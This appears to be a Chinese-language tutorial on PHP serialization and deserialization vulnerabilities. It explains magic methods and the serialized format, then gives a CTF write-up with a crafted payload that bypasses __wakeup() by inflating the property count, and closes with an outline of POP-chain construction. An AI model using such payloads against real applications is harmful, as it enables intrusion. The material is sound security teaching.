一、对象和类
对象是一个由信息及对信息进行处理的描述所组成的整体,是对现实世界的抽象。
类是一个共享相同结构和行为的对象的集合。每个类的定义都以关键字class开头,后面跟着类的名字。
PHP对属性的控制通过添加关键字来实现:
public(公有):公有的类成员可以在任何地方被访问,属性被序列化的时候属性值会变成 属性名
protected(受保护):受保护的类成员则可以被其自身以及其子类和父类访问,属性被序列化的时候属性值会变成 \x00*\x00属性名
private(私有):私有的类成员则只能被其定义所在的类访问,属性被序列化的时候属性值会变成 \x00类名\x00属性名
\x00表示空字符,占有一个字符位置
二、魔术方法
以两个下划线__
开头的方法称为魔术方法(Magic methods)
__construct()
//类的构造函数,创建对象时触发
__destruct()
//类的析构函数,对象被销毁时触发
__call()
//在对象上下文中调用不可访问的方法时触发
__callStatic()
//在静态上下文中调用不可访问的方法时触发
__get()
//读取不可访问属性的值时,这里的不可访问包含私有属性或未定义
__set()
//在给不可访问属性赋值时触发
__isset()
//当对不可访问属性调用 isset() 或 empty() 时触发
__unset()
//在不可访问的属性上使用unset()时触发
__invoke()
//当尝试以调用函数的方式调用一个对象时触发
__sleep()
//执行serialize()时,先会调用这个方法
__wakeup()
//执行unserialize()时,先会调用这个方法
__toString()
//当反序列化后的对象被输出在模板中的时候(转 换成字符串的时候)自动调用
三、序列化(使用serialize函数)
把一个对象在网络上传输,为了方便传输,可以把整个对象转化为二进制串,等到达另一端时,再还原为原来的对象,这个过程称之为串行化(也叫序列化)。
将原本的数据通过某种手段进行"压缩",并且按照一定的格式存储的过程可以称之为序列化。
适用情况: 把一个对象在网络中传输; 把对象写入文件或数据库
<?php
class User
{
//类的数据
public $age = 0;
public $name = '';
//输出数据
public function printdata()
{
echo 'User '.$this->name.' is '.$this->age.' years old.<br />';
} // “.”表示字符串连接
}
//创建一个对象
$usr = new User();
//设置数据
$usr->age = 18;
$usr->name = 'Hardworking666';
//输出数据
$usr->printdata();
//输出序列化后的数据
echo serialize($usr)
?>
输出结果:
User Hardworking666 is 18 years old.
O:4:"User":2:{s:3:"age";i:18;s:4:"name";s:14:"Hardworking666";}
“O”表示对象,“4”表示对象名长度为4,“User”为对象名,“2”表示有2个参数。
“{}”里面是参数的key和value,
“s”表示string对象,“3”表示长度,“age”则为key;“i”是interger(整数)对象,“18”是value,后面同理。
序列化格式:
1 2 3 4 5 6 7 8 9 10 11 12 13 |
|
注意:
- 序列化只序列属性,不序列方法
- 因为序列化不序列方法,所以反序列化之后如果想正常使用这个对象的话我们必须要依托这个类在当前作用域存在的条件
- 能控制的只有类的属性,攻击就是寻找合适能被控制的属性,利用作用域本身存在的方法,基于属性发动攻击
四、反序列化(使用unserialize函数)
利用unserialize()函数,从已存储的表示中创建PHP的值,可以从序列化后的结果中恢 复对象
<?php
class User
{
//类的数据
public $age = 0;
public $name = '';
//输出数据
public function printdata()
{
echo 'User '.$this->name.' is '.$this->age.' years old.<br />';
}
}
//重建对象
$usr = unserialize('O:4:"User":2:{s:3:"age";i:18;s:4:"name";s:14:"Hardworking666";}');
//输出数据
$usr->printdata();
?>
User Hardworking666 is 18 years old.
为何要序列化和反序列化 ?
为了解决一个问题:PHP对象传递问题。
PHP对象是存放在内存的堆空间段上的,PHP文件在执行结束的时候会将对象销毁。
如果刚好要用到销毁的对象,难道还要再写一遍代码?所以为了解决这个问题就有了PHP的序列化和反序列化
通过把一个实例化的对象长久的存储在计算机磁盘上,需要调用的时候只需反序列化出来即可使用。
五、反序列化漏洞
序列化和反序列化本身没有问题,但是反序列化内容用户可控,且后台不正当的使用了PHP中的魔法函数,就会导致安全问题。
当传给unserialize()
的参数可控时,可以通过传入一个精心构造的序列化字符串,从而控制对象内部的变量甚至是函数。
漏洞依赖条件:
- unserialize函数的参数可控
- 脚本中存在一个构造函数(
__construct()
)、析构函数(__destruct()
)、__wakeup()
函数中有向PHP文件中写数据的操作类 - 所写的内容需要有对象中的成员变量的值
实例
1、攻防世界xctf web unserialize3
class xctf{
public $flag = '111';
public function __wakeup()
{exit('bad requests');}}
?code=
关键在于绕过 __wakeup()
函数
当 序列化的字符串中的 属性值 个数 大于 属性个数 就会导致反序列化异常,从而绕过 __wakeup()
进行序列化
$a=new xctf();
echo(serialize($a));
得到
O:4:"xctf":1:{s:4:"flag";s:3:"111";}
修改属性值,在url上输入
?code=O:4:"xctf":2:{s:4:"flag";s:3:"111";}
flag:cyberpeace{d0e4287c414858ea80e166dbdb75519e}
2、
将序列化后的字符串进行base64加密之后进行get传参到var变量即可
但是这里我们可以看出需要绕过__wakeup()
函数以及正则匹配,才能够拿到flag
六、POP链
pop又称之为面向属性编程,常用于上层语言构造特定调用链的方法,从现有运行环境中寻找一系列的代码或者指令调用,然后根据需求构成一组连续的调用链,最终达到攻击者邪恶的目的;因为反序列化中我们能控制的只有对象的属性,所以我们的反序列化是通过控制对象的属性从而实现控制程序的执行流程。
构造思路
对于POP链的构造,首先要找到它的头和尾。pop链的头部一般是用户能传入参数的地方,而尾部是可以执行我们操作的地方,比如说读写文件,执行命令等等;找到头尾之后,从尾部开始,看它在哪个方法中,怎么样可以调用它,一层一层往上倒推,直到推到头部为止,也就是我们传参的地方,一条pop链子就出来了。